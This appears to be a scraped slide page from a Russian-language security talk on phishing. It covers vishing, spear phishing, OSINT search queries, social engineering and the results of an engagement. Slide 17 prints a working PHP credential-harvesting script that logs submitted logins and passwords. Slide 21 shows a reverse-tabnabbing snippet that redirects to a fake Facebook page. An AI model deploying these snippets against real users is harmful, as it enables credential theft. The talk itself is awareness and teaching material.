![[~]$ whoami
Стекольников Илья
Место работы:
Опыт: с 2006 года](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)
Recommended
Recommended
More Related Content
More from Kristina Pomozova
More from Kristina Pomozova (15)
Фишинг (Стекольников Илья)
- 2. [~]$ whoami Стекольников Илья Место работы: Опыт: с 2006 года
- 3. Фишинг (англ. phishing, от fishing — рыбная ловля, выуживание) — вид интернет-мошенничества, целью которого является получение доступа к конфиденциальным данным пользователей — логинам и паролям или иной представляющей интерес информации используя принципы социальной инженерии.
- 4. Фишинг: Vishing Вишинг (vishing — voice phishing)
- 5. Фишинг : Spear phishing Направленный Фишинг • Социальная инженерия • OSINT (Open source intelligence) • Телефон, email, sms • Технические средства
- 10. Facebook Graph Search : • People who work at %EMPLOYER% • Comments by %USERNAME% from Almaty • Posts liked by %USERNAME% at 2016 • Posts liked by People who work at %EMPLOYER% • People who are younger than 50 and older than 40 and work at %EMPLOYER% Примеры поисковых запросов:
- 12. Social Engineering : • НЛП • Неоднократные обращения • Обычные письма содержащие интересные для сотрудника данные • Обратная социальная инженерия • Физический доступ
- 13. Social Engineering : • НЛП • Неоднократные обращения • Обычные письма содержащие интересные для сотрудника данные • Обратная социальная инженерия • Физический доступ
- 14. Пример:
- 15. Как было сделано. Простая реализация
- 16. Как было сделано. Простая реализация
- 17. Как было сделано. s.php <? $Login = $_POST[acc]; $Pass = $_POST['pass']; $log = fopen("log.php","a+"); fwrite($log,"<br> $Login:$Pass n"); fclose($log); echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=https://drive.google.com/file/d/0B0ipfHYtZ3M/view?usp=sharing'></head></ht ml>"; ?>
- 18. Еще вариант: target="_blank” (в новом окне)
- 21. Как это работает: target="_blank” <a href=“http://defconkz.tk” target="_blank">В новом окне</a> <script> window.opener.location = 'http://FAKE_FACEBOOK.tk/f.html'; </script>
- 22. Статистика: ИТОГО: • 50% пользователей ввели учетные данные • 70% пользователей так или иначе выдали конфиденциальную информацию • 10% пользователей предоставили доступ к ПК через интернет • Физический доступ в помещение
- 23. Выводы: ИТОГО: • 5 из 10 пользователей ввели учетные данные • 7 из 10 пользователей так или иначе выдали конфиденциальную информацию • 2 из 10 пользователей предоставили доступ к ПК через интернет • Физический доступ в помещение ВЫВОДЫ: Social engineering: Because there is NO PATCH for human stupidity.